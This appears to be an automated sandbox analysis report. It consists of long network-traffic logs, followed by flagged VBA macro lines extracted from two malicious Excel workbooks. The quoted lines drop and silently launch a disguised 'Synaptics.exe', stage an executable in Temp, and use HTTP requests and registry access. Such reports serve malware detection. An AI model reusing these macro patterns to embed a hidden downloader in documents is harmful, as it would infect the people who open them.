Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50250
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50256 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50207
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50206
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50209
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50208
Source: unknown	Network traffic detected: HTTP traffic on port 50245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50201
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50200
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50202
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50175
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50176
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50251 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50186
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50185
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50188
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50187
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50216 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50193
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50192
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50195
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50194
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50197
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50199
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50198
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50241 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50259
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50251
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50254
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50253
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50255
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50258
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50261
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50260
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50253 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50141
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50265
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50143
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50267
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 50226 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50266
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50268
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50153
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50155
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50156
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 50265 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50169
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50214 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50231 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50248 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50237 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50133 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50206 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 50169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50261 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 50250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50228 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50239 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 50101 -> 443

Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49875 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49936 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:49961 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:49964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50003 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50025 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50037 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50066 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50067 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50100 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50142 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50144 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50143 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50153 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50155 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50186 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50188 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50187 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50185 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50192 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50193 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50209 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50208 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50207 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50206 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50210 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50212 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50224 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50223 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50226 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50225 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50228 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50230 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50234 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50236 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50242 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50241 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50244 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50243 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50251 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50252 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50259 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50258 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:50260 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50261 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50265 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.6:50267 version: TLS 1.2

System Summary

Document contains an embedded VBA macro with suspicious strings

Source: tT5VZoGH.xlsm.3.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: tT5VZoGH.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: tT5VZoGH.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: tT5VZoGH.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: tT5VZoGH.xlsm.3.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: tT5VZoGH.xlsm.3.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: tT5VZoGH.xlsm.3.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: tT5VZoGH.xlsm.3.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: tT5VZoGH.xlsm.3.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: tT5VZoGH.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: tT5VZoGH.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
Source: GAOBCVIQIJ.xlsm.3.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: GAOBCVIQIJ.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: GAOBCVIQIJ.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: GAOBCVIQIJ.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: GAOBCVIQIJ.xlsm.3.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: GAOBCVIQIJ.xlsm.3.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: GAOBCVIQIJ.xlsm.3.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: GAOBCVIQIJ.xlsm.3.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: GAOBCVIQIJ.xlsm.3.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: GAOBCVIQIJ.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: GAOBCVIQIJ.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Source: tT5VZoGH.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write
Source: GAOBCVIQIJ.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write

Document contains an embedded VBA with functions possibly related to HTTP operations

Source: tT5VZoGH.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send
Source: GAOBCVIQIJ.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Source: tT5VZoGH.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ
Source: GAOBCVIQIJ.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ

Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\SysWOW64\tmpB6D.tmp	Jump to behavior
